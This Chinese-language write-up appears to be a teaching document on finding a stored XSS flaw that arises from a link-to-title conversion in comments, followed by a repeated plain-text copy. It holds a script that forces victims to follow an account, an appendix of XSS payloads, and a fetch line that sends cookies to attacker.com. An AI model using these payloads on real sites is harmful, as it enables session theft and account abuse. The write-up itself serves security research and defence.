记一次有趣的XSS漏洞挖掘
字数 1252 2025-08-23 18:31:18

XSS漏洞挖掘实战教学文档

1. 漏洞背景

本文档基于一篇关于XSS漏洞挖掘的实际案例,展示了如何通过功能点组合发现存储型XSS漏洞,并利用该漏洞实现自动化用户关注操作。

2. 漏洞挖掘过程

2.1 功能点一:作品发布功能

测试点

  • 作品名称参数(name)
  • 可发布用户自定义内容

测试方法

  1. 尝试在作品名称中插入常见XSS payload
    • 例如:<script>alert(1)</script>
    • ``

结果

  • 初步测试无反应,payload被过滤或转义

2.2 功能点二:评论功能

测试点

  • 用户评论内容
  • 特殊功能:自动将站内作品链接转换为作品名称的a标签

关键发现

  • 当评论中包含站内作品链接时,系统会自动转换为<a>标签
  • 外站链接不会触发此转换

3. 漏洞组合利用

3.1 漏洞形成原理

  1. 在作品发布功能中,虽然直接插入XSS payload被过滤
  2. 但可以通过发布一个包含XSS payload的作品
  3. 然后在评论中引用该作品链接
  4. 系统自动将链接转换为a标签时,可能未充分过滤XSS

3.2 实际利用步骤

  1. 创建恶意作品

    • 发布一个作品,其名称包含XSS payload
    • 例如:<script>恶意代码</script>
  2. 触发XSS

    • 在任意作品的评论区中,评论包含第一步创建的作品链接
    • 系统自动将链接转换为a标签,可能执行其中的JS代码

4. 漏洞危害扩大

4.1 自动化关注攻击

攻击原理

  • 利用XSS执行JS代码,自动发送关注API请求

攻击代码示例

function getHeaders() {
    return {
        "accept": "text/html,application/xhtml+xml,...",
        "accept-language": "zh-CN,zh;q=0.9",
        "cache-control": "max-age=0",
        "content-type": "application/x-www-form-urlencoded",
        "sec-ch-ua": "\"Not?A_Brand\";v=\"8\", \"Chromium\";v=\"108\"...",
        "sec-ch-ua-mobile": "?0",
        "sec-ch-ua-platform": "\"Windows\"",
        "sec-fetch-dest": "document",
        "sec-fetch-mode": "navigate",
        "sec-fetch-site": "same-site",
        "Content-Type": 'application/json'
    };
}

function apiGet() {
    return fetch("https://xxxxxxx/follow", {
        method: "POST",
        headers: getHeaders(),
        mode: "cors",
        body: JSON.stringify({
            "followed_user_id": xxxxxx,
            "state": 1
        })
    }).then(function() {
        console.log("关注成功");
    })
}
apiGet();

4.2 其他潜在危害

  1. Cookie窃取

    • 通过XSS读取用户的cookie信息
    • 发送到攻击者控制的服务器
  2. 账号劫持

    • 利用获取的cookie进行会话劫持
  3. 蠕虫传播

    • 自动在用户作品下发布恶意评论
    • 实现漏洞的自我传播

5. 漏洞防御建议

5.1 输入过滤

  1. 对所有用户输入进行严格的HTML实体编码
  2. 使用白名单机制过滤允许的HTML标签和属性

5.2 输出编码

  1. 在将用户内容输出到页面时进行上下文相关的编码
    • HTML实体编码
    • JavaScript编码
    • URL编码

5.3 内容安全策略(CSP)

  1. 实施严格的内容安全策略
  2. 限制内联脚本执行
  3. 限制外部资源加载

5.4 其他措施

  1. 对敏感操作(如关注)实施CSRF保护
  2. 设置HttpOnly标志保护cookie
  3. 实施X-XSS-Protection头部

6. 漏洞挖掘经验总结

  1. 功能组合测试

    • 单独测试功能点可能无法发现漏洞
    • 多个功能组合可能产生意外行为
  2. 理解功能设计意图

    • 分析开发者实现功能的思路
    • 预测可能的过滤和转换逻辑
  3. 关注数据流转

    • 跟踪用户输入如何在系统中流转
    • 识别每个处理环节的过滤和转换
  4. 利用自动化转换

    • 特别关注系统自动转换用户输入的功能
    • 这些转换可能绕过前端过滤
  5. 扩大攻击面思考

    • 不局限于简单的alert测试
    • 考虑如何将漏洞转化为实际危害

7. 附录:常见XSS测试Payload

  1. 基本测试:

    <script>alert(1)</script>
    
    
  2. 绕过过滤:

    <svg/onload=alert(1)>
    <script>alert`1`</script>
    
  3. 无交互:

    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  4. DOM型:

    ';alert(1);//
    " onmouseover=alert(1) //
    
  5. 编码绕过:

    %3Cscript%3Ealert(1)%3C/script%3E
    &#x3C;script&#x3E;alert(1)&#x3C;/script&#x3E;
    
XSS漏洞挖掘实战教学文档 1. 漏洞背景 本文档基于一篇关于XSS漏洞挖掘的实际案例,展示了如何通过功能点组合发现存储型XSS漏洞,并利用该漏洞实现自动化用户关注操作。 2. 漏洞挖掘过程 2.1 功能点一:作品发布功能 测试点 : 作品名称参数(name) 可发布用户自定义内容 测试方法 : 尝试在作品名称中插入常见XSS payload 例如: <script>alert(1)</script> `` 结果 : 初步测试无反应,payload被过滤或转义 2.2 功能点二:评论功能 测试点 : 用户评论内容 特殊功能:自动将站内作品链接转换为作品名称的a标签 关键发现 : 当评论中包含站内作品链接时,系统会自动转换为 <a> 标签 外站链接不会触发此转换 3. 漏洞组合利用 3.1 漏洞形成原理 在作品发布功能中,虽然直接插入XSS payload被过滤 但可以通过发布一个包含XSS payload的作品 然后在评论中引用该作品链接 系统自动将链接转换为a标签时,可能未充分过滤XSS 3.2 实际利用步骤 创建恶意作品 : 发布一个作品,其名称包含XSS payload 例如: <script>恶意代码</script> 触发XSS : 在任意作品的评论区中,评论包含第一步创建的作品链接 系统自动将链接转换为a标签,可能执行其中的JS代码 4. 漏洞危害扩大 4.1 自动化关注攻击 攻击原理 : 利用XSS执行JS代码,自动发送关注API请求 攻击代码示例 : 4.2 其他潜在危害 Cookie窃取 : 通过XSS读取用户的cookie信息 发送到攻击者控制的服务器 账号劫持 : 利用获取的cookie进行会话劫持 蠕虫传播 : 自动在用户作品下发布恶意评论 实现漏洞的自我传播 5. 漏洞防御建议 5.1 输入过滤 对所有用户输入进行严格的HTML实体编码 使用白名单机制过滤允许的HTML标签和属性 5.2 输出编码 在将用户内容输出到页面时进行上下文相关的编码 HTML实体编码 JavaScript编码 URL编码 5.3 内容安全策略(CSP) 实施严格的内容安全策略 限制内联脚本执行 限制外部资源加载 5.4 其他措施 对敏感操作(如关注)实施CSRF保护 设置HttpOnly标志保护cookie 实施X-XSS-Protection头部 6. 漏洞挖掘经验总结 功能组合测试 : 单独测试功能点可能无法发现漏洞 多个功能组合可能产生意外行为 理解功能设计意图 : 分析开发者实现功能的思路 预测可能的过滤和转换逻辑 关注数据流转 : 跟踪用户输入如何在系统中流转 识别每个处理环节的过滤和转换 利用自动化转换 : 特别关注系统自动转换用户输入的功能 这些转换可能绕过前端过滤 扩大攻击面思考 : 不局限于简单的alert测试 考虑如何将漏洞转化为实际危害 7. 附录:常见XSS测试Payload 基本测试: 绕过过滤: 无交互: DOM型: 编码绕过: